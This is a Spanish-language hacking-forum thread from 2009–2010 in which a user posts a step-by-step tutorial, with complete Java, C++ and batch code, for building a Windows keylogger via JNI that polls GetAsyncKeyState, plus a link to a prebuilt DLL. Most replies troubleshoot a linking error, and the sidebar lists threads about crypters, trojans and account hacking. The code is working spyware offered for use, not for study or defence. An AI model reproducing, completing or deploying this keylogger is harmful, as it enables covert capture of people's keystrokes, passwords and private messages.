Enero 19, 2018, 05:56:14 am

Autor Tema: Keylogger Java 100% funcional  (Leído 22914 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Keylogger Java 100% funcional
« en: Noviembre 11, 2009, 09:03:36 pm »
Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
You are not allowed to view links. Register or Login

jni.h
You are not allowed to view links. Register or Login


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"

  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código: (java) You are not allowed to view links. Register or Login
public class Keylogger extends Thread {
private boolean   running=true;
private int       value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}

}

  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código: (bash) You are not allowed to view links. Register or Login
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%

pause
echo.
exit

  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger



  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

Código: (c) You are not allowed to view links. Register or Login
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
    #endif
    #undef Keylogger_MIN_PRIORITY
    #define Keylogger_MIN_PRIORITY 1L
    #undef Keylogger_NORM_PRIORITY
    #define Keylogger_NORM_PRIORITY 5L
    #undef Keylogger_MAX_PRIORITY
    #define Keylogger_MAX_PRIORITY 10L
    #undef Keylogger_DELAY
    #define Keylogger_DELAY 20L
    /** Class: Keylogger
     * Method:    get
     * Signature: ()I
     */
    
    JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
    #ifdef __cplusplus
    }
    #endif
    #endif
    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código: (cpp) You are not allowed to view links. Register or Login
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
 JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
  while(true){
        for(int c=8;c<=222;c++){
         if(GetAsyncKeyState(c)==-32767)
            return c;  
        }        
     Sleep(30);  
     }
}

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código: (java) You are not allowed to view links. Register or Login
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}

Aqui les dejo la DLL Keylogger.dll
You are not allowed to view links. Register or Login

Un Saludo.
« Última modificación: ſeptiembre 30, 2010, 08:55:55 am por L-ΣYER »
Moderador java elHacker.net

Desconectado kamui23

  • Yo vivo en CPH
  • ***
  • Mensajes: 957
    • Ver Perfil
Re: Keylogger Java 100% funcional
« Respuesta #1 en: Noviembre 13, 2009, 04:13:34 am »
Estupendo, un buen tutorial como este hacía verdadera falta. Lo voy a poner en chincheta.

:D.

Gracias por colaborar.
Busco una meta: conseguir lo que nadie ha conseguido. Y hacerlo en la mitad de tiempo.


No respondo preguntas por mensaje privado. para dudas, escribid en el foro, por favor.

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #2 en: Noviembre 13, 2009, 04:02:58 pm »
 :o wooo viniendo de moderador de java vale mucho sin duda  :8):  y si es verdad esto hacia falta bastante no hay ningun tuto sobre esto..o es que no supieron hacer.

saludos kamui23  :8):

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #3 en: Noviembre 13, 2009, 07:40:04 pm »
PD: solo funciona en el windows pero pasarlo a linux no es problema  :P  y pensandolo bien soy el unico en hacer esto eso si me parece exelente :8):
« Última modificación: Noviembre 13, 2009, 07:57:55 pm por L-ΣYER »

Desconectado |Np|

  • Me das tu IP?
  • *
  • Mensajes: 67
  • Fr33 \\0rld !!!!
    • Ver Perfil
Re: Keylogger Java 100% funcional
« Respuesta #4 en: Noviembre 20, 2009, 04:57:25 pm »
No lo puedo ver tengo que registrarme en tu pagina ¡? bueno intentare de todos modo muy buen aporte algo asi estaba probando hace tiempo  saludos

PD: creo que esta en mantenimento espero  ver pronto ese Tutorial (Y) ..
« Última modificación: Noviembre 20, 2009, 04:59:07 pm por |Np| »
Nuetro Miedo + profuundo No Es Crees Que Somos Inadecuados. Nuestro Miedo + Profundo Es Saber Que Somos Poderosos Mas Alla De La Mesura. Es Nuestra Luz, No Nuestra Oscuridad, Lo Que + Asusta...Esta Gloria No Esta Dentro De Unos Cuantos, Esta Dentro De Todos Nosotros.  | Guerrero De Luz |

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #5 en: Noviembre 20, 2009, 08:50:05 pm »
 ;D jej bueno el foro no es mio es de Hax991 pero esta en mantenimiento aunke no borrare el tutorial  :8):  solo espera unos dias jeje te cuento  hacerlo en jni solo me llevo 4 dias  :P  espero lo veas prontro para que me digas q tal.. y de nada la informacion debe ser libre para todos y me agrada aportar nuevas cosas a todos los programmers java.

Saludos.

Desconectado SEKTOR

  • Si te metes con CPH
    te metes conmigo
  • ****
  • Mensajes: 1551
  • Sexo: Masculino
  • ๑۩۞۩๑ Mortal Kombat World Champion ๑۩۞۩๑
    • Ver Perfil
Re: Keylogger Java 100% funcional
« Respuesta #6 en: Noviembre 22, 2009, 05:22:19 am »
seria mejor que lo migres para CPH, por que con chincheta y siendo link a otra parte?

y aparte que si lo consultas esta en reparacion el otro link.

mejor migralo pa ca.

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #7 en: Noviembre 22, 2009, 03:21:44 pm »
como dige el foro no es mio espero cuando lo abran que sera dentro de 2 o 3 dias confirmado pueda pasarlo para aca hasta entonces solo wait():

Saludos.

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #8 en: Noviembre 23, 2009, 11:12:22 pm »
Activo y en funcionamiento

 :)

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Re: Keylogger Java 100% funcional
« Respuesta #9 en: Febrero 27, 2010, 03:54:29 pm »
Seria bueno que consideres postear esa informacion aca, solo vas a modificar en los post de otros foros, y pegas el contenido aca.

saludos.

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #10 en: Febrero 27, 2010, 05:55:58 pm »

Bien

Desconectado fohacho

  • Me das tu IP?
  • *
  • Mensajes: 2
    • Ver Perfil
Problema con Keylogger Java 100% funcional
« Respuesta #11 en: Marzo 17, 2010, 12:48:14 pm »
Buenas...

me gustaría que me echarais un cable, he seguido los pasos que indicas, he generado la libreria Keylogger.dll con sus dos archivos .o y .a.
genera un makefile.win (que imagino que sería para compilar la librería, pero que no hace falta hacer nada con é?? )

Despues compilo el Keylogger.java, y la compilación es correcta.

pero al ejecutar el .class (java Keylooger), me dá el siguiente error

Exception in thread "Thread-1" java.lang.UnsatisfiedLinkError: k$Keylogger.get()
C
        at k$Keylogger.get(Native Method)
        at k$Keylogger.run(k.java:27)
        at java.lang.Thread.run(Unknown Source)

es posible que no haya generado correctamente la librería?? pq el metodo get entiendo que está en la librería, ya que en las clases no está

gracias

salu2

« Última modificación: Marzo 17, 2010, 01:07:15 pm por fohacho »

Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #12 en: Marzo 17, 2010, 06:32:17 pm »
1.Asegurate de que el archivo java no este en ningun package
2.El metodo get esta en la class
3.Asegurate de verificar bien los nombres

Desconectado fohacho

  • Me das tu IP?
  • *
  • Mensajes: 2
    • Ver Perfil
Re: Keylogger Java 100% funcional
« Respuesta #13 en: Marzo 18, 2010, 11:11:31 am »
gracias L-ΣYER

lo q me indicas ya lo he verificado
te cuento:

he generado la dll, sin problemas. y he copiado el .dll, el .o y el .a donde está el Keylogger.java (todo por si las moscas...)

luego he compilado (javac Keylogger.java)-->ok

ejecutar la clase sin metodo main, peta
C:\k2>java Keylogger
Exception in thread "main" java.lang.NoSuchMethodError: main

por lo que he creado una clase que tenga tu clase como método

 class k {

   
    public static void main(String[] args) {

      
      Keylogger miHilo= new Keylogger();
      //Thread hilo = new Thread (miHilo);
      miHilo.start();


   }
   
   static class Keylogger extends Thread { //Usaremos un Hilo ...
      
          ... tu código
   }
}

despues en la ejecución, (java k) lo he llamado k, pq tengo como Keylogger.java tu codigo..
el fallo que dá es el que puse ayer

Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: k$Keylogger.get()
C
        at k$Keylogger.get(Native Method)
        at k$Keylogger.run(k.java:27)

Resumen....
la libreria está ok
la ejecución de tu codigo java a pelo, sin paquete no tiene main y no arranca
y poniendole un main peta...

seguro que es una chorrada, pero ya me trae de cabeza

gracias

salu2


Desconectado L-ΣYER

  • Me das tu IP?
  • *
  • Mensajes: 65
  • Sexo: Masculino
  • JAVA
    • Ver Perfil
    • Java Examples
Re: Keylogger Java 100% funcional
« Respuesta #14 en: Marzo 18, 2010, 04:46:10 pm »
 ??? ni idea algo te debe estar faltando, yo lo acabo de hacer y me funciona correctamente :D


question
¿ Donde consigo Java Drive by Funcional ? - (metodo habitual) actualidad

Iniciado por alasis12extraviadapass

8 Respuestas
2347 Vistas
Último mensaje Abril 08, 2013, 09:28:00 pm
por dark_master_999
xx
Formatear unidades :) Funcional !!!

Iniciado por Zion_Tm

0 Respuestas
1056 Vistas
Último mensaje Julio 03, 2007, 10:43:11 pm
por Zion_Tm
xx
Lenguaje de programacion funcional HASKELL

Iniciado por diosstewie

0 Respuestas
1431 Vistas
Último mensaje Junio 19, 2007, 04:52:56 am
por diosstewie
exclamation
Nuevo mail bomber 100%100 funcional

Iniciado por Quimera

23 Respuestas
44143 Vistas
Último mensaje Julio 12, 2007, 01:59:33 pm
por audax
xx
Crypter mMilà 1.0.0 (modificado y funcional)

Iniciado por franki135

14 Respuestas
3493 Vistas
Último mensaje Noviembre 25, 2010, 04:49:08 am
por franki135
resuelto
Se puede hacer RIT o XOR a un offset NO FUNCIONAL??

Iniciado por ippon

3 Respuestas
1128 Vistas
Último mensaje Agosto 22, 2010, 03:56:45 pm
por joaco_sur_15
question
lo k yo hago para saber si el offset es funcional

Iniciado por xra

2 Respuestas
1056 Vistas
Último mensaje Enero 02, 2011, 12:47:50 pm
por xra
xx
Como Funcional El SHELL & LOAD En Un Autorun.inf

Iniciado por Alex_Denzel

0 Respuestas
878 Vistas
Último mensaje Diciembre 08, 2011, 01:05:11 pm
por Alex_Denzel
xx
pago por buen troyano con crycter funcional al 100% o hakear cuenta de hot

Iniciado por raulleon

0 Respuestas
704 Vistas
Último mensaje Junio 22, 2014, 04:05:00 pm
por raulleon
exclamation
Múltiples vulnerabilidades en Oracle Java SE y Java for Business

Iniciado por wanm28

5 Respuestas
1324 Vistas
Último mensaje Febrero 26, 2011, 11:55:22 pm
por wanm28